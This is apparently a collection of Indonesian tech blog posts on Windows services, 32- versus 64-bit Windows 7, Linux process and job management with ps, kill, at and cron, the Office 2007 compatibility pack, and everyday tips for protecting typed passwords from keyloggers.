Windows adalah mesin yang cukup kompleks, dan banyak proses yang mendasarinya perlu berkomunikasi satu sama lain. Layanan yang bertanggungjawab untuk ini adalah Remote Procedure Call (RPC). RPC memungkinkan proses berkomunikasi satu sama lain dan di seluruh jaringan satu sama lain. Banyak layanan penting lainnya, termasuk Spooler Cetak dan layanan Sambungan Jaringan, tergantung pada fungsi layanan RPC ini. Kabar buruknya jika dinonaktifkan sistem tidak akan boot.
Workstation
Seperti halnya untuk layanan lain, layanan Workstation bertanggung jawab untuk menangani koneksi ke sumber daya jaringan remote. Secara khusus, layanan ini menyediakan koneksi jaringan dan kemampuan komunikasi untuk sumber daya yang ditemukan menggunakan Microsoft layanan jaringan. Menonaktifkan layanan Workstation menyebabkan komputer Anda akan tidak dapat melakukan koneksi ke remote Jaringan sumber daya Microsoft.
Network Location Awareness (NLA)
Seperti halnya dengan layanan Workstation, menonaktifkan layanan ini mungkin masuk akal beberapa tahun lalu, setidaknya untuk komputer mandiri, non-jaringan.Dengan budaya saat ini yaitu WiFi mana-mana, mobilitas telah menjadi pendorong utama. Layanan ini bertanggung jawab untuk mengumpulkan dan menyimpan konfigurasi jaringan dan informasi lokasi dan aplikasi memberitahu kapan perubahan informasi. Komputer Anda tidak akan dapat sepenuhnya terhubung ke jaringan nirkabel jika layanan ini non-aktif
DHCP Client
Dynamic Host Configuration Protocol (DHCP) adalah layanan penting yang membuat tugas mendapatkan komputer pada jaringan ini nyaris tanpa hambatan. Sebelum DHCP ada, administrator jaringan harus secara manual menetapkan alamat jaringan untuk setiap komputer. Selama bertahun-tahun, DHCP telah diperpanjang untuk secara otomatis memberikan semua jenis informasi untuk komputer dari konfigurasi repositori pusat. DHCP memungkinkan sistem untuk secara otomatis mendapatkan informasi pengalamatan IP, WINS informasi server, informasi routing, dan sebagainya. Hal itu diperlukan untuk memperbarui catatan dalam sistem DNS dinamis, seperti layanan terpadu Direktori-Microsoft Active DNS. Ini adalah salah satu layanan yang, jika dinonaktifkan, tidak akan melumpuhkan komputer Anda, tetapi akan membuat administrasi jauh lebih sulit.
Cryptographic Services
Setiap bulan, Microsoft menyediakan perbaikan baru dan update yaitu apa yang dikenal sebagai ” Patch Tuesday” karena pembaruan dirilis pada hari Selasa pertama setiap bulan.Mengapa ini penting? Karena Cryptographic Services kebetulan adalah update otomatis. Selanjutnya, Cryptographic Services menyediakan tiga jasa manajemen lainnya: Catalog Database Service, yang menegaskan persetujuan file Windows; Protected Root Service, yang menambah dan menghapus sertifikat Trusted Root Certification Authority dari komputer dan Key Service, yang membantu mendaftarkan komputer untuk urusan sertifikat . Akhirnya, Cryptographic Services juga mendukung beberapa unsur dari Task Manager. Nonaktifkan Cryptographic Services artinya update otomatis tidak akan berfungsi dan Anda akan memiliki masalah dengan Task Manager serta mekanisme keamanan lainnya.
Automatic Updates
Menjaga mesin Anda saat ini dengan update rutin cukup penting, dan di sanalah pembaruan otomatis berperan. Pembaruan Otomatis Ketika diaktifkan, komputer Anda tetap berjalan dengan update baru dari Microsoft. Saat dinonaktifkan, Anda harus secara manual mendapatkan update dengan mengunjungi situs update Microsoft

Perbedaan Windows Seven 32 dan 64 bit

ada saat ini, semakin banyak produsen komputer seperti Dell atau HP menawarkan Windows 7 versi 64-bit secara default/bawaan laptop bahkan pada perangkat yang ditujukan untuk penggunaan di rumah dan pengguna bisnis kecil sering tanpa jalur downgrade jelas. Kalau begitu manakan yang lebih baik antara versi 32 bit dengan 64 bit?. Bagaimana sebaiknya kita menentukan sikap ketika akan membeli komputer/laptop dimana kedua versi ini disediakan. Artikel komputer ini akan mencoba memberi perbandingan diantara keduanya.
Artikel ini akan melihat implikasi dari kedua platform 32-bit dan 64-bit ini dan segala konsekuensi teknis dan beberapa masalah seperti kompatibilitas yang dapat diterima kedua versi windows ini.
  1. Sistem operasi Microsoft 64-bit telah ada sejak Windows XP (yaitu selama lebih dari satu dekade ) tetapi hanya dengan Windows 7 tren ini terasa betul dan peralihan dari 32-bit ke 64-bit sangat meningkat.
  2. Menurut gosip IT, jaringan distribusi Windows 7 64-bit memiliki pangsa pasar paling cepat berkembang pada kategori sistem operasi dan pada lapis kedua adalah Windows XP 32-bit, hasil yang sangat miring tetapi yang memberikan gambaran umum tentang pergeseran yang terjadi. Garis besarnya adalah terjadi migrasi yang lumayan besar.
  3. Jadi mengapa memilih 64-bit lebih baik dari 32-bit? Yah, alasan yang paling penting berkaitan dengan hal ini adalah manajemen memori. Sistem operasi 32-bit dapat mengakomodasi sampai dengan 3.3GB memori dan dengan laptop entry level sport hanya sampai pada RAM 4GB tetapi saat ini OS 32-bit terendah telah diturunkan ke anak tangga PC saja. Artinya sangat besar kemungkinan bahwa pabrikan hanya akan mengeluarkan versi 64 bit saja.
  4. Tapi memaksakan Windows 7 versi 64-bit bagi peruntukan 32-bit akan menyebabkan perangkat lunak lama tidak mungkin bekerja dan hardware lama akan hampir selalu gagal untuk bekerja. Ini berarti bahwa beberapa hardware yang telah ada harus di-upgrade (seperti scanner tua, printer tua dll) dan juga perangkat lunak.
  5. Untuk hal yang terakhir diatas, dapat menjadi llebih rumit terutama untuk aplikasi 16-bit yang masih digunakan (mis; Anda mungkin masih ingin menggunakan DosBox) dan beberapa aplikasi antivirus.
  6. Ada yang juga melaporkan bahwa sistem operasi 64-bit dapat mengkonsumsi ekstra senilai 350MB RAM dibandingkan dengan rekan mereka yang 32-bit.
  7. Selain itu, sebagian besar perangkat lunak saat ini telah dirilis untuk lingkungan 32-bit dan dioptimalkan pindah ke 64-bit benar-benar bisa menyebabkan aplikasi berjalan lambat karena sumber daya tambahan yang diperlukan oleh sistem.
  8. Tapi masalah ini sudah dengan cepat diatasi dan aplikasi yang populer versi 64-bit sudah banyak yang telah dirilis. Microsoft telah menyediakan pusat kompatibilitas yang membantu pengguna untuk mengidentifikasi aplikasi yang bisa menjadi masalah jika digunakan.
  9. Untuk tidak membuat hal-hal yang lebih rumit, Anda tidak bisa meng-upgrade dari 32-bit ke 64-bit atau sebaliknya tanpa membuat cadangan file Anda, dan setelah melakukan instalasi Anda tidak akan dapat menjalankan aplikasi 64-bit pada sistem operasi 32-bit jika seandainya sewaktu-waktu Anda berubah pikiran.
  10. Sebetulnya, tidak masalah bila Anda punya dual-platform aplikasi misalnya saat ini sudah mulai menggunakan Microsoft Office 2010 hanya saja harus diketahui bahwa saat ini beberapa pengembang software dan hardware benar-benar mengharuskan Anda membeli 32-bit atau versi 64-bit secara terpisah.
Pada akhirnya, semuanya bermuara pada situasi Anda saat ini. Namun saran dari saya, jika Anda membeli komputer baru, sebaiknya Anda mengarah ke versi 64-bit dengan asumsi antisipasi perkembangan dan kompabilitas masa depan. Tetapi jika saat ini semua perangkat lunak dan keras yang Anda gunakan adalah versi 32-bit, mengapa harus gelisah dengan versi 64-bit? Kalaupun saat ini Anda berencana meng-upgrade ke versi 64-bit, Anda harus melakukan uji kompabilitas terlabih dahulu sebelum melakukan instalasi.

Manajemen Proses di LINUX (part 2)

obs control adalah fasilitas yang memungkinkan suatu program dihentikan secara sementara dan kemudian dijalankan kembali. Fasilitas ini dapat dipakai untuk memindahkan program yang sedang berjalan secara background (dilatar belakang) ke foreground (di latar depan) atau sebaliknya. Fasilitas ini meniru fasilitas pada C shell. Jika seseorang memberikan perintah (script shell, utilitas atau program), perintah tersebut akan menjadi sebuah job, terlepas perrintah itu dijalankan dilatar depan atau belakang.
Jobs control biasanya diaktifkan secara otomatis begitu berada di prompt (shell). Untuk mengetahui fasilitas ini sudah dijalankan atau belum, dapat deketahui dengan perintah :
$ set –o | grep monitor
monitor on
Jika perintah di atas menghasilkan informasi berupa “monitor on” berarti fasilitas job control sudah diaktifkan. Apabila fasilitas tesebut belum aktif, dapat diaktifkan dengan perintah :
$ set -o monitor
$ set -m
Untuk menjalankan perintah di background, perlu akhiran & disetiap perintah yang akan dijalankan.
$find / -name *.c –print > c.out 2> c.error &
Perintah diatas dipakai untuk memperoleh semua file berakhiran *.c dari root (/) danhasilnya ditempatkan ke file c.out. Adapun kalau ada sesuatu kesalahan (misalnya karena tidak diperkanankan membaca direktori tertentu berhubungan dengan ijin akses) kesalahan tersebut direkam ke file c.error. Proses ini dilakukan dibelakang layar, dan diberi nomor job dan identitas proses (PID).
Apabila nomor job adalah satu dan jobs belum berakhir, maka jika diberikan job kedua, maka nomor job tersebut sama dengan 2.
$ du / > du.out 2>1 &
[2] 272
Perintah du digunakan untuk memperoleh blok dari setiap file atau direktori. Setelah nomor job kedua diatas, jika dijalankan satu job lagi, maka :
$ sleep 500 & #tidak melakukan apa-apa selama 500 detik
[3] 273
Untuk melihat status proses dari perintah yang dieksekusi dilatar belakang, dapat digunakan perintah jobs.
$ jobs
[1] Stopped vi file1.txt &
[2] – Running ps –aux &
[3] + Running sleep 500 &
Informasi dibagian kiri menyatakan nomor job. Tanda + sesudah nomor job menyatakan job yang terbaru. Tanda – menyatakan job kedua yang terbaru. Informasi seperti running menyatakan bahwa perintah job sedang dieksekusi (belum selesai). Kemungkinan lain informasi adalah :
Stopped : job sedang berhenti secara sementara (ditangguhkan)
Done : job sudah selesai dikerjakan.
Bagian terkanan menyatakan nama perintah. Pemakai dapat memberikan pilihan –p pada perintah jobs. Pilihan ini akan menyebabkan jobs menampilkan PID dari semua proses yang dieksekusi dilatar belakang.
$ jobs –p
300
302
Artinya ada dua proses di latar belakang dengan PID 300 dan 302. Pilihan (option) –l akan menampilkan informasi seperti jobs tanpa option dan informasi PID (nomor proses)
$ jobs –l
[2] + 300 Running sleep 300 &
[1] – 302 Running sleep 150 &
Job yang berjalan dilatar depan dapat dihentikan dengan menekan tombol <CTRL + Z>. Sebagai contoh, saat menjalankan perintah sleep 500 di latar depan, kemudian menekan tombol <CTRL + Z>, maka proses tersebut akan dihentikan sementara.
$ sleep 500
<CTRL + Z> [1] + Stopped sleep 500
Dengan menggunakan perintah jobs, status proses tersebut diatas dapat diketahui, sebagai berikut :
$ jobs
[1] + Stopped sleep 500
Job yang sedang ditangguhkan dapat diaktifkan kembali dengan cara diaktifkan dilatar belakang dan diaktifkan dilatar depan. Job yang sedang berhenti secara sementara dapat dijalankan kembali dilatar depan dengan cara menjalankan perintah fg. Dengan menjalankan perintah fg maka sleep 500 akan dijalankan di foreground, dan jika setelah di depan ingin ditangguhkan kembali tinggal menjalankan perintah bg.
$ sleep 500
<CTRL + Z>
[1] + Stopped sleep 500
$ bg #Eksekusi kelatar belakang
[1] sleep 500
Pada bentuk fg dan bg tanpa argumen, job terbarulah yang diproses. Sedangkan jika %n digunakan, job dengan nomor n yang diproses.
$ jobs
[2] + Running sleep 1000 &
[1] – Running sleep 200 &
$ fg %1
sleep 200 &
Proses yang sedang ditangguhkan ataupun yang sedang berada di latar belakang dapat dimatikan dengan menggunakan perintah kill.
$ kill %1 # job nomor 1 dihapus
[1] – Terminated sleep 200 &
Jika dikehendaki, pemakai dapat menyuruh shell menunggu suatu proses dilatar belakang selesai dieksekusi. Perintah yang diperlukan adalah wait. Perintahnya adalah wait %n, dengan n adalah nomor job dari proses latar belakang yang ditunggu.
Penjadwalan Proses
Pada sistem Linux, terdapat banyak cara untuk menangani eksekusi-eksekusi perintah. Diantaranya, diberi kesempatan untuk membuat daftar perintah dan menentukan kapan perintah dijalankan oleh sistem. Perintah at , sebagai contoh memberi peluang untuk menjalankan program berdasarkan waktu yang ditentukan. Perintah batch adalah semiliar dengan at, namun batch menjalankan program-program manakala sistem menemukan waktu untuk mereka. Perintah cron memungkinkan program untuk menjalankan secara pereodik, dan perintah crontab mengizinkan user untuk mengedit file-file yang digunakan oleh cron. Perintah-perintah scheduling tersebut sangat berguna sat ingin melakukan pengaturan terhadap sistem agar tidak terlalu sibuk menjalankan tugas-tugas. Teknik ini juga sangat baik untuk eksekusi script-script bagi layanan-layanan exksternal seperti query-query database.
Perintah at
Seperti telah diuraikan diatas, untuk menjadwalkan satu atau beberapa perintah pada waktu yang ditentukan dapat digunakan at. Sebagai contoh, untuk membentuk pekerjaan pada jam 2:30 a.m yakni melakukan pencetakan semua file yang terdapat pada direktori /home/mahasiswa/dimas dan melakukan pengiriman mail pemberitahuan ke user yang bernama anjik bahwa pekerjaan pencetakan telah dilakukan pukul 2.30 a.m. Untuk menuliskan shcedule pekerjaan dengan at yakni dengan menulis perintah baris demi baris dan menekan enter untuk masing-masing perintah dan untuk mengakhiri dapat digunakan <CTRL + D>.
$ at 2.30
lp /home/mahasiswa/dimas/*
echo “File sudah dicetak Pak !” | mail –s “Pencetakan “ dihinamajikan@yahoo.com
<CTRL + D>
Beberapa variasi penggunaan perintah at dapat dilakukan dengan :
At hh:mm : Penjadwalan kerja berdasarkan jam (hh) dan menit (mm),
menggunakan standard 24 jam
At hh:mm month
day year : Penjadwalan kerja berdasarkan jam (hh) dan menit (mm), bulan,
hari dan tahun tertentu
at –l : Mendaftar jadwal tugas-tugas, merupakan alias utk perintah atq.
At now +count
timeunit : Menjadwalkan pekerjaan sekarang plus hitungan berdasarkan
time-unit ; time unit dapat berupa menit, jam, hari atau minggu
at –d job_id : Membatalkan kerja dengan nomor job_id
Sebagai user root, dapat dengan bebas menjalankan perintah-perintah ini, sedangkan user lian, file-file /etc/at.allow dan /etc/at.deny menentukan permisi permisi menggunakan perintah tersebut. Jika file /etc/at.allow ada, maka hanya user-user yang tercantum dalam file tersebut yang diizinkan untuk menggunakan perintah at . Jika file /etc/at.allo tidak tersedia, sistem akan mengecek file /etc/at.deny yang akan memberikan izin penggunaannya, tapi kalau /etc/at.deny kosong, setiap user dapat menggunakan perintah at ini.  Perintah batch
Dalam sistem Linux tidak hanya memiliki satu perintah untuk penjadwalan tugas-tugas. Dengan menggunakan perintah batch user dapat memberikan kelonggaran terhadap sistem untuk memutuskan sendiri kapan proses dijalankan.
Perintah batch akan dijalankan oleh sistem jika sistem dalam keadaan tidak begitu sibuk. Tugas-tugas yang dijalankan melalui batch akan dieksekusi melalui background. Format menjalankan perintah batch yaitu dengan mengetikkan perintah di terminal dan mengakhiri dengan <CTRL + D> pada akhir baris.
contoh :
$ batch
lp /home/mahasiswa/dimas/*
echo “File sudah dicetak Pak !” | mail –s “Pencetakan “ dihinamajikan@yahoo.com
<CTRL + D>
Perintah cron dan crontab
Untuk menjalankan perintah atau proses yang harus dilakukan secara reguler, dapat menggunakan perintah cron (chronograph). Dengan cron dapat menentukan tanggal dan waktu yang diinginkan untuk menjalankan sebuah perintah dalam file-file crontab.
Program cron hanya dijalankan satu kali, yakni saat sistem di-boot. User-user individual hendaknya diberi izin untuk menjalankan cron secara langsung. Selain itu administrator juga menjalankan aplikasi cron pada start-up file Linux agar cron berjalan saat proses boot terjadi.
Perintah/Aplikasi yang dapat digunakan untuk menuliskan jadwal proses adalah crontab. Dalam file crontab ini konfigurasi penjadwalan proses tersimpan. File contab user disimpan dalam direktori /usr/spool/cron/crontabs dan memberi nama file tersebut dengan nama user. Sehingga jika usernya adalah icha, maka dapat digunakan file text editor untuk mengeditnya pada direktori tersebut.
$crontab icha
Dengan eksekusi perintah tersebut maka file /usr/spool/cron/crontabs/icha akan terbentuk.
Masing-masing baris dalam file crontab memuat sebuah pola waktu dan sebuah perintah. Di mana perintah tersebut akan dieksekusi pada pola waktu yang ditetapkan. Pola waktu dibagi dalam lima field yang dipisahkan oleh spasi atau tab.
Minute hour day-of-month month-of-year day-of-week command
Keterangan range waktu :
Minute : 00 s.d 59
Hour : 00 s.d 23 (tengah malam 00)
Day-of-month : 01 s.d 31
Month-of-year : 01 s.d 12
Day-of-week : 01 s.d 07 (Senin 01, Minggu 07)
Lima field pertama adalah field waktu, sedangkan satu field terkahir adalam field perintah. Dapat digunakan asterisk (*) dalam field waktu jika tidak ingin menentukan waktu – waktu tertentu.
Option perintah crontab terdiri dari :
-e : mengedit file contab
-r : menghapus isi file crontab
-l : Menampilkan daftar crontab

Manajemen Proses di LINUX

Setiap kali instruksi diberikan pada Shell Linux, kernel akan menciptakan proses-id. Proses ini disebut juga dalam terminologi UNIX sebagai JOB. Proses-id (PID) dimulai dari 0, yaitu proses INIT, kemudian diikuti oleh proses berikutnya (dapat dilihat dalam daftar urutan pada /etc /inittab). Proses-proses sistem terbagi dalam tiga tipe utama, yaitu :
Interactive : Diprakarsai oleh sebuah shell dan berjalan dalam foreground dan
Background.
Batch : Secara tipical merupakan sebuah seri dari proses-proses yang
dijadwalkan untuk dieksekusi pada suatu waktu tertentu
Daemon : Secara tipikal diinisialisasi saat boot untuk membentuk fungsi-fungsi
sistem yang dibutuhkan, seperti LPD, NFS dan DNS
Proses Interaktive terdiri dari atas :
- Proses fireground adalah suatu proses yang ketika berjalan, shell tidak menampilkan prompt hingga proses berakhir.
- Proses background adalah suatu proses yang sewaktu-waktu berjalan, pemakai tetap dapat memberikan perintah yang lain. Sebab begitu perintah background diberikan (setelah di tekan ENTER), prompt akan ditampilkan kembali dan shell siap menerika perintah berikutnya.
7.1 Background Proses
Untuk menghasilkan sebuah background proses, dapat dilakukan dengan menjalankan perintah yang diakhiri dengan simbol &. Pada kondisi seperti ini, sehll tidak akan menunggu sampai eksekusi perintah berakhir. Begitu perintah berakhiran & diberikan, shell siap menerima perintah lain. Kegunaan perintah ini misalnya untuk memperoleh daftar seluruh file dari direktori root (/) beserta anak-anaknya dan menempatkannya ke sebuah file. Karena proses ini Kemungkinan memakan waktu yang cukup lama, pemakai dapat mengatur agar eksekusinya dilakukan dilatar belakang. Sehingga sementara sistem sedang memprosesnya, pemakai tetap dapat bekerja memberikan perintah-perintah lainnya.
Contoh :
$ls –lR / > lsroot 2>&1 &
Pada contoh tersebut, perintah ls beserta pesan kesalahan ditempatkan ke file lsroot dan dilakukan secara background. Proses latar belakang cocok untuk proses yang tidak menggunakan keluaran ke layar terminal atau masukkan dari keyboard.
7.2 Status Proses
Instruksi ps (proses status) digunakan untuk melihat kondisi proses yang ada. Ketika tidak ada option sama sekali, ps akan menampilkan proses yang saat itu dilakukan oleh sebuah terminal (tty?).
$ ps PID TT STAT TIME COMMAND 29384 p0 Is 0:00.01 -ksh (ksh) 27221 p0 R+ 0:00.00 ps
Proses ksh adalah proses shell yang aktif pada saat user login ke dalam sistem dan proses ksh ini akan menunggu instruksi dari pemakai. Bila shell menjalankan instruksi, maka shell menciptakan proses anak dan menunggu hingga proses tersebut selesai.
$ ps -u USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND dsn970210 29384 0.0 0.1 404 328 p0 Ss 7:35PM 0:00.01 -ksh (ksh) dsn970210 21658 0.0 0.1 284 164 p0 R+ 7:42PM 0:00.00 ps -u
Sebuah sistem yang dibangun oleh serangkain proses, dengan perintah ps –e (everthing) dapat ditampilkan sejumlah proses-proses tersebut.
$ ps -e
PID TTY TIME COMMAND
1 ? 00:00:05 init
2 ? 00:00:00 klogd
3 ? 00:00:00 inetd
—cut——
Semakin banyak pemakai yang sedang menggunakan sistem, semakin banyak proses yang akan ditampilkan. Tanda tanya (?) menyatakan bahwa proses tersebut adalah proses daemon (proses yang hidup terus selama sistem hidup dan berjalan dilatar belakang).
Sejumlah proses yang ditampilkan melalui ps –e berkedudukan sebagai pemimpin group proses (proses group leader), yaitu proses yang menjalankan proses yang lain. Sebagai contoh jika dijanlankan perintah ps –f (full listing), dengan hasil sebagai berikut :
$ps –f
UID PID PPID C STIME TTY TIME CMD
dsn970210 8907 1094 0 12:44 tty02 00:00:00 -bash
dsn970210 9205 8907 0 13:02 tty02 00:00:00 ps -f
Proses sh sebenarnya memimpin group proses. Tampak bahwa PID dari bash tercantum dalam PPID dari proses ps –f. PPID (parrent PID) menyatakan proses induk dari proses yang sedang berjalan, dan STIME menyatakan awal proses dimulai.
Contoh lain perintah ps :
ps –u anjik : untuk menampilkan proses yang terkait dengan seorang pemakai
ps –t tty02 : untuk menampilkan proses yang terkait dengan terminal
ps –auxww : untuk menampilkan informasi detail tentang setiap proses yang berjalan dalam komputer.
a : Mendaftar semua proses
u : menampilkan informasi dalam “user-oriented style”
x : memasukkan informasi dalam proses yang tidak
menampilkan kontrol ttys.
ww : memasukkan baris perintah dengan komplit, bahkan jika
mereka menjalankan sampai 132 kolom.
Field-field dalam output ps diantaranya :
USER : username dari proses. (Jika proses memiliki UID yang tidak sesuai dengan /etc/passwd, perlu berhati-hati karena dimungkinkan terjadi proses penyerangan.
PID : Proses Identification Number
%CPU : Prosentasi CPU yang digunakan
%MEM : Prosentasi MEMORY yang digunakan
SZ : Jumlah virtual memori yang digunakan proses
RSS : Resident set size, jumlah proses physical memory yang ditempati proses
TT : Terminal yang mengontrol proses
STAT : Field yang menunjukkan status proses
TIME : CPU time yang sedang digunakan
COMMAND : Nama perintah
Pada field STAT yang merupakan status proses dapat digunakan sebagai indikator terhadap suatu proses, sejumlah status tersebut dapat diketaui dari huruf pertama field STAT adalah :
R : actually running or runnable
S : Sleeping (sleeping > 20 seconds)
I : Idle (sleeping < 20 seconds)
T : stop
H : Halted
P : In page wait
D : In disk wait
Z : Zombie
<blank> : In core
W : Swapped out
> : Proses yang telah melampaui soft limit ketetapan memori
Pada huruf ketiga field STAT menunjukkan keterangan apakah proses berjalan dengan altered CPU Schedule, antara lain :
N : Proses berjalan pada prioritas rendah
# : nice (nomor yang lebih tinggi dari 0)
< : Proses berjalan pada prioritas tinggi
Beberapa pilihan perintah ps, sebagai berikut :
-a : Menampilkan semua proses (termasuk milik user)
-c : Menampilkan nama perintah dari environment task_struct
-e : Menampilkan environment setelah baris perintah dan “and”
-f : Menampilkan “forest” fromat pohon (proses dan subproses)
-h : Tidak ada header
-j : Jobs format
-l : Long format
-m : Menampilkan info memori
-n : Output memori untuk USER dan WCHAN
-r : Hanya proses-proses yang berjalan
-s : Format signal
-S : Menambah child CPU time dan page fault
-t xx : Proses-proses yang hanya diasoasikan dengan ttyxx
-u : Format user, memberikan nama user dan waktu mulai
-v : format vm (virtual memory)
-w : Wide output
-x : Menampilakn proses-proses tanpa mengontrol terminal
7.3 Menghentikan Proses (Kill)
Kadang ada keinginan untuk membunuh atau menghentikan sebuah proses. Suatu alasan yang umum untuk menghentikan proses diantaranya :
- Proses terlalu banyak menghabiskan CPU time
- Proses berjalan terlalu lama tanpa menghasilkan output yang diharapkan.
- Proses memproduksi terlalu banyak output pada layar atau ke sebuah file.
- Proses mengunci terminal atau beberapa sesi lain.
- Proses menggunakan file-file yang salah baik input maupun output, disebabkan kesalahan operator atau programming yang error.
- Proses sudah tidak diperlukan lagi.
Sebenarnya untuk menghentikan proses yang tidak berada pada background, cukup dengan menekan <CTRL+C>. Namun jika proses tersebut bekerja pada background, proses dapat dihentikan dengan perintah kill. Perintah kill bekerja dengan cara mengirim signal ke proses yang sedang berjalan melalui nomer proses yang sudah diketahui. Kill hanya dapat digunakan untuk menghentikan proses dari masing-masing user, hanya superuser saja yang berwenang untuk menghentikan proses user lain.
Format penulisan perintah kill sebagai berikut :
kill [-s signal_name] pid [...]
kill -l [exit_status]
kill -signal_name pid [...]
kill -signal_number pid [...]
Beberpa signal tersebut diantaranya:
1 HUP (hang up)
2 INT (interrupt)
3 QUIT (quit)
6 ABRT (abort)
9 KILL (non-catchable, non-ignorable kill)
14 ALRM (alarm clock)
15 TERM (software termination signal)
Contoh :
$ kill 123
Menghentikan proses dengan PID 123
$ kill -9 1234
Menghentikan dengan paksa proses dengan PID 1234.
# kill -HUP `cat /var/run/inetd.pid`
Mengirimkan hang up signal kepada daemon ined dengan PID seperti yang terseimpan pada /var/run/inetd.pid, dan meminta proses untuk membaca ulang susunan konfigurasi /etc/inetd.conf.
# kill 0
Menghentikan semua proses yang berjalan dalam background.
(continue)

Tips Cara Menjalankan File MS Office 2007 Pada MS Office 2003

Software office dari microsoft terbaru saat ini adalah microsoft office 2007. Tidak seperti update dari office 2000 atau Office XP ke office edition 2003 yang tidak terlalu mengalami banyak perubahan terutama tata letak dan penempatan tool yang tersedia. Pada aplikasi MS Office 2007 ini banyak sekali mengalami perubahan baik tata letak / layout tool nya namun juga berbeda jenis extension filenya.
Pada versi MS office 2003 file yang dihasilkan MS office 2003 masih bisa dibuka / dijalankan langsung di Aplikasi MS Office 2000 atau versi yang lebih lawas lagi dan Extenxion filenya sama yaitu .doc, .xls, .ppt . Namun pada MS office 2007 file output extension nya berganti menjadi .docx , .xlsx , .pptx dan sebagainya, sehingga otomatis file keluaran aplikasi MS Office 2007 ini tidak bisa dibuka langsung di aplikasi MS Office versi sebelumnya .
Bagi pengguna MS office versi 2003 atau versi lebih jadul lagi tentunya ini suatu masalah, karena tidak bisa menjalankan File hasil keluaran MS Office 2007 ini dan harus memerlukan instalasi MS Office 2007. Terlebih lagi bagi yang terlanjur sudah terbiasa atau lebih friendly pada MS Office versi lama tentunya perlu dibutuhkan watu untuk mempelajari dan membiasakan diri dengan Aplikasi MS Office versi terbaru 2007 ini.
Namun ternyata ada solusi untuk mengatasi hal ini. Yaitu dengan menambahkan Modul Plugins untuk MS Office versi 2003 yaitu Software Tambahan yang bernama File Format Converters atau yang di kenal dengan nama Microsoft Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats.
File ini bisa anda download gratis di website resmi Microsoft silahkan klik link dibawah ini :
Download FileFormatConverter.exe
This Modul very useful : You can Open, edit, and save documents, workbooks, and presentations in the Open XML file formats which were introduced to Microsoft Office Word, Excel, and PowerPoint beginning with Office 2007.
Dengan menginstal aplikasi tambahan ini maka anda bisa menjalankan, membuka, membuat, mengedit atau pun menyimpan kembali ke dalam bentuk format MS office 2007 ataupun ke format MS Office versi 2003 atyau sebelumnya.
Modul / Plugins atau addon Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats ini bisa dijalankan atau diinstal pada Office 2003 atau MS Office versi 2000 Service Pack 3.
Berikut Extension File MS Office 2007 yang bisa dijalankan apilkasi ini :
Word 2007 File Type Extension
docx – Word 2007 XML Document
docm – Word 2007 XML Macro-Enabled Document
dotx – Word 2007 XML Template
dotm – Word 2007 XML Macro-Enabled Template
Excel 2007 File Type Extension
xlsx – Excel 2007 XML Workbook
xlsm – Excel 2007 XML Macro-Enabled Workbook
xltx – Excel 2007 XML Template
xltm – Excel 2007 XML Macro-Enabled Template
xlsb – Excel 2007 binary workbook (BIFF12)
xlam – Excel 2007 XML Macro-Enabled Add-In
PowerPoint 2007 File Type Extension
pptx – PowerPoint 2007 XML Presentation
pptm – PowerPoint 2007 Macro-Enabled XML Presentation
potx – PowerPoint 2007 XML Template
potm – PowerPoint 2007 Macro-Enabled XML Template
ppam – PowerPoint 2007 Macro-Enabled XML Add-In
ppsx – PowerPoint 2007 XML Show
ppsm – PowerPoint 2007 Macro-Enabled XML Show
Cara penggunaan nya Setelah instalasi, silahkan buka File MS Office 2007 yang akan dibuka atau dijalankan dengan cara Open with MS 2003 kemudian jangan lupa centang opsi always use the selected program to open this kind of file . Setelah melakukan langkah ini maka anda akan bisa langsung menjalankan atau membuka file MS Office 2007 ini secara langsung.
Silahkan mencoba tips MS Office 2007 Converter dari ESC Creation diatas semoga bermanfaat untuk anda.

Cara Menangkal Keylogger

1.Trick Pertama
Buka Start Menu, Klik Run, Tulis : osk.exe
Akan muncul tampilan Keyboard, Itulah Keyboard Virtual. Ada beberapa Keylogger yang nggak bisa merekam Ketikkan dari Keyboard Virtual (osk.exe). Namun ada juga Keylogger yang bisa merekam hentakan dari tuts-tuts Keyboard Virtual ini, dan ada baiknya baca Trick Kedua.
2.Trick Kedua (Dari PC Mild)
Misalnya DS’ers semua pengen nulis Password, Passwordnya : t4bl0id. Untuk mengelabuhinya ketikkan dulu sembarang karakter, misalnya : t9s2d. Lalu taruh kursor di antara t dan 9, sorot 9 dan s, lalu ketikkan 4bl. Lanjutkan dengan menyorot 2, lalu ketikkan 0i. Maka akan menghasilkan kata t4bl0id, dan keylogger akan error mencatatnya.
3.Trick Ketiga
Trick Ketiga sama dengan Trick Pertama, Tapi menggunakan Software dengan nama : Neo’s SafeKeys 2008. Download & Install aplikasinya (Cari di google).
Jalankan, Pilih Opsi Standard Entry, lalu ketikkan Kata yang ingin disembunyikan, misalnya : Username dan Password. Ketik dengan menggunakan mouse (Klik Keyboard Virtualnya), Jangan pakai Keyboard! Lalu, Sorot dan Drag N Drop ke lokasi dimana kata tersebut ingin ditaruh.
Jika Drag N Drop gk berhasil, maka aktfikan Injection Mode (Icon : Suntikan), lalu Drag N Drop ke tempat tujuan.
4.Trick Keempat
Trick Keempat menggunakan Aplikasi Anti-Keylogger. Download & Install I Hate Keyloggers (Cari Di Google) aplikasinya. Installnya Next Next ajah. Simpel koq aplikasinya, gak perlu paham tentang Keylogger juga bisa menggunakan Aplikasi ini.
Selain itu Install juga Aplikasi yang bernama KL-Detector.
Dan Install juga Zemana AntiLogger.
5.Trick Kelima
Mozilla Firefox emang jadi Browser Numero Uno (Number 1#), kalo browsing Facebook kebanyakan orang pake Firefox. Nah di Firefox ini ada Plugins (Add-Ons) yang bernama KeyScrambler yang fungsinya mengenkripsi apa yang kita ketik ke browser, misalnya : Username & Password (Jadi gak kebaca sama si Keylogger).
6.Trick Keenam
Sebagai Pelengkap keamanan, Anti-Virus emang perlu di Install. Ada beberapa Anti-Virus (Gak semuanya), yang bisa ngedetek KeyLogger. Contoh : Kaspersky Internet Security, AVG Internet Security & Avira (Anti-Virus Payung)
Link-Link Software :
1.Neo’s Safe Keys 2008 : http://www.aplin.com.au/neos-safekeys-2008
2.I Hate Keyloggers : http://dewasoft.com/privacy/i-hate-keyloggers.zip
3.KL-Detector : http://dewasoft.com/privacy/kldetector13.zip
4.Zemana Anti-Logger : http://www.zemana.com/Download.aspx
5.Key Scrambler (Firefox) : https://addons.mozilla.org/en-US/firefox/addon/3383/
